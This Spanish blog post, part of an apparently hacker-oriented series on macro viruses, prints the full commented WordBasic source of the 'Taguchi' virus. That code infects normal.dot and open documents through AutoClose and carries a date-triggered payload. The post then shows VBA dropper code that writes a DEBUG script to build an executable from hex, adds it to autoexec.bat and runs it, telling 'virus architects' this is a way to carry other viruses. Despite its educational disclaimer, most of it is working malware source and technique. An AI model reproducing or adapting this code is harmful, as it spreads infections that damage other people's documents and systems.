lunes, 13 de octubre de 2008

Macros virulentos. Arquitectura a través de una ventana (II)

Mr. I/O [blackhat4all@gmail.com]

Nota: El autor no se hace responsable del uso que se le pueda dar a esta información. La misma solo ha sido creada con fines educativos.

Anatomía del código intoxicante Taguchi.

  

'*************************************************************
'* *
'* Virus Taguchi *
'* (La probabilidad de aprobar es de un 0.05 %) *
'* *
'*************************************************************
Sub MAIN 'este macro se definirá como autoclose
On Error Goto finalizar
'si hay algún error va a finalizar.
'En este lenguaje hay etiquetas, saltos condicionales, eventos, etc. Nigro1$ = NombreVentana$() + ":autoclose"
Nigro2$ = NombreVentana$() + ":nigro"
Archi$ = LCase$(Right$(NombreArchivoMacro$(NombreMacro$(0)), 10))
'utilizo la función Lcase (Lowercase = minúsculas ) para realizar la comparación
'solo en minúsculas y en Archi$ tendrá‚ el nombre del archivo que contenga el macro
'ya sea un archivo de plantilla o el normal.dot 'utilizo la función right$ porque nombrearchivomacro$ devuelve el nombre con la ruta
If archi$ = "normal.dot" Then
'si se ejecuta desde el normal.dot
If infectado = 0 Then
Goto contadoc
'si no lo esta salta a contadoc para infestar el archivo activo
Else
Goto finalizar
'si lo esta salta a finalizar y no lo infesta – pues ya lo está
EndIf
Else
'se ejecuta desde un archivo
If infectado = 0 Then
Goto contanormal
'salta hasta la etiqueta e infesta normal.dot si no lo esta
Else
Goto finalizar
'no infesta porque ya está infestado y se ahorra tiempo
EndIf
EndIf
'observen la estructura del lenguaje, la claridad de su creación.
Goto finalizar
MsgBox "virus Taguchi"
'— este es el conjunto de instrucciones de contaminación del fichero
contadoc:
'etiqueta a donde se realiza el salto para contaminar archivo abierto
ArchivoGuardarComo.Formato = 1 'se condiciona que el archivo se salve como plantilla
MacroCopiar "global:autoclose", nigro1$, 1
MacroCopiar "global:nigro", nigro2$, 1
ArchivoGuardarTodo 1, 1
Goto finalizar
'— este es el conjunto de instrucciones de contaminación del archivo normal
contanormal: 'contamina el normal.dot
MacroCopiar nigro1$, "global:autoclose", 1
MacroCopiar nigro2$, "global:nigro", 1
ArchivoGuardarTodo 1, 0
Goto finalizar
'— este es el conjunto de instrucciones de finalizar
finalizar:
Call Nigro
'se hace payload, se realiza otra macrollamada.
End Sub

'Aquí vemos como también existen funciones,
'esta función es definida dentro de la ventana del
'macro autoclose ya que es llamada desde dicha macro Function infectado
'función que verifica si está infestado ya sea un archivo o
'el normal.dot según el 'caso devuelve 0 si limpio y 1 si infectado
infectado = 0
Archi$ = LCase$(Right$(NombreArchivoMacro$(NombreMacro$(0)), 10))
'busca entre los macros si está el macro nigro, si está es que esta contaminado
If archi$ = "normal.dot" Then
If ContarMacros(1) > 0 Then
For i = 1 To ContarMacros(1)
If NombreMacro$(i, 1) = "nigro" Then
infectado = 1
End If
Next i
End If
Else
If ContarMacros(0) > 0 Then
For i = 1 To ContarMacros(0)
If NombreMacro$(i, 0) = "nigro" Then
infectado = 1
End If
Next i
End If
End If
End Function

Sub MAIN
'este procedimiento se define como nigro
If Día(Ahora()) = 19 And Mes(Ahora()) = 2 Then
Insertar " * tAgUchI vIrUz * by NIGROMANTE(nEUrOtIc cpU) 1997"
Goto bucle
'si es el día 19 de Febrero creo un bucle infinito
'escribiendo en el archivo abierto nEUrOtIc cpU
End If
End Sub

Ilustración de la morbilidad

La mayoría de estas funciones son fáciles de entender si seguimos el nombre. No obstante creo sería importante verificar el procedimiento seguido para el contaminado de los archivos.

Primeramente el virus guarda en archi$() el nombre del archivo desde que parte la contaminación – nótese que esta función devuelve un valor tipo texto (posee un símbolo $) –.

El nombre del archivo lo obtiene mediante la función:
nombrearchivomacro$().

Ahora teniendo ese nombre compara archi$ con "normal.dot" para saber si el virus se está ejecutando – el macro – desde un archivo o desde el normal.dot. De estarse ejecutando desde el normal.dot se vuelve redundante contaminarlo, por ello – primeramente – se chequea si está contaminado mediante la función infectado, si no lo está lo contamina y si lo está se invoca a la macro nigro para realizar el payload. En el caso en que se ejecute desde un archivo se hace lo contrario mediante la función infectado.

Se revisa si el archivo normal.dot está contaminado, en caso positivo se invoca al macro nigro, en caso contrario se contamina. Por ello es fácil de entender que la función infectado trabaja de diferente manera según se ejecute, desde un archivo o desde el normal.dot.

Si se ejecuta desde un archivo
    infectado=1 si normal.dot infectado
    infectado=0 si normal.dot no infectado

Si se ejecuta desde el normal.dot
    infectado=1 si archivo infectado
    infectado=0 si archivo no infectado

El chequeo de la infección – ya sea el archivo o el normal.dot – se hará mediante las funciones contarmacros(1) que devuelve el número de macros en el archivo activo y contarmacros(0) que devuelve el número de macros en normal.dot

nombremacro$(n,1) devuelve el nombre del macro número n dentro del archivo activo
nombremacro$(n,0) devuelve el nombre del macro número n dentro del normal.dot

El recorrido por todos los nombres de macros se realiza mediante un bucle – recuerden que esto es un lenguaje de alto nivel.

For i = 1 To ContarMacros(1)
If NombreMacro$(i, 1) = "nigro" Then
infectado = 1
End If
Next i
Con esto se busca la macro de nombre "nigro" dentro de un archivo, si la encuentra entonces infectado – como bandera – toma el valor 1. En caso contrario infectado tendrá el valor con el que fue inicializado es decir 0.
Otros comandos de interés para los arquitectos de virus en la etapa de payload serían por ejemplo shell "comando" con el que puedes ejecutar programas del sistema operativo. Este comando shell es muy interesante para hacer llamadas al programa debug del dos con código hexadecimal y crear carriers ejecutables de virus como en el caso del Ph33r.

Insertar "lo que se quiera insertar" permite insertar texto en el documento activo
msgbox "virus activado" aparece un cuadro de diálogo que muestra este mensaje y este desaparece cuando se aprieta el botón 'aceptar'.

Ilustraremos esta otra modalidad de infección que resulta interesante y muy poderosa, que es la de convertir a los virus de macros en hospederos de otros virus que afectan a otros archivos – .com, .exe, .bat –, esto se logra a partir de incluir dentro de la plantilla otro virus, ya sea de ejecutable o de arranque, al poderse ejecutar programas, pues lo que lleva el documento es un script. de DEBUG.

Comúnmente realizan esta infección utilizando la orden "E" que, permite cambiar bytes de posiciones de memoria:

Open "c:\dos\script.dbg" For Output As #1
Print #1, "N virus.exe"
Print #1, "E 0100 4D 5A EC 00 0C 00 00 00 20 00 00 00 FF FF 00 00"
Print #1, "E 0110 00 00 32 2D 00 00 01 00 1E 00 00 00 01 00 00 00"
Print #1, "E 0120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
'etc, etc, etc,
Print #1, "E 14F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1500 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "RCX"
Print #1, "1500"
Print #1, "W"
Print #1, "Q"
Print #1, ""
Close #1

Open "c:\dos\infecta.bat" For Output As #1
Print #1, "@echo off"
Print #1, "debug < script.dbg > nul"
Print #1, "echo @c:\dos\virus.exe>>c:\autoexec.bat"
Print #1, "del c:\dos\script.dbg"
Print #1, "del c:\dos\infecta.bat"
Close #1
ChDir "C:\DOS"
Shell "INFECTA.BAT", 0
ChDir "C:\"

Apocalipsis

Aquí concluye este artículo, con él la explicación de cómo funciona un virus macro sencillo, y algunas técnicas de ataque e infección, pudiéndose apreciar, a pesar de lo simple de su programación, lo nocivo que puede ser su ataque, y lo volátil de su infección. Por ello es menester tomar las medidas de seguridad que nos permitan protegernos de esta chusma de virus. Y por ende, de las variantes más agresivas, con técnicas destructivas más poderosa, de autoprotección más brillantes, y formas más ingeniosas de propagación. Esperando que con él muchas respuestas se hayan vertido sobre las cabezas de la comunidad, al igual que muchas nuevas dudas hayan anidado en mentes más suspicaces.



Artículos relacionados


No hay comentarios: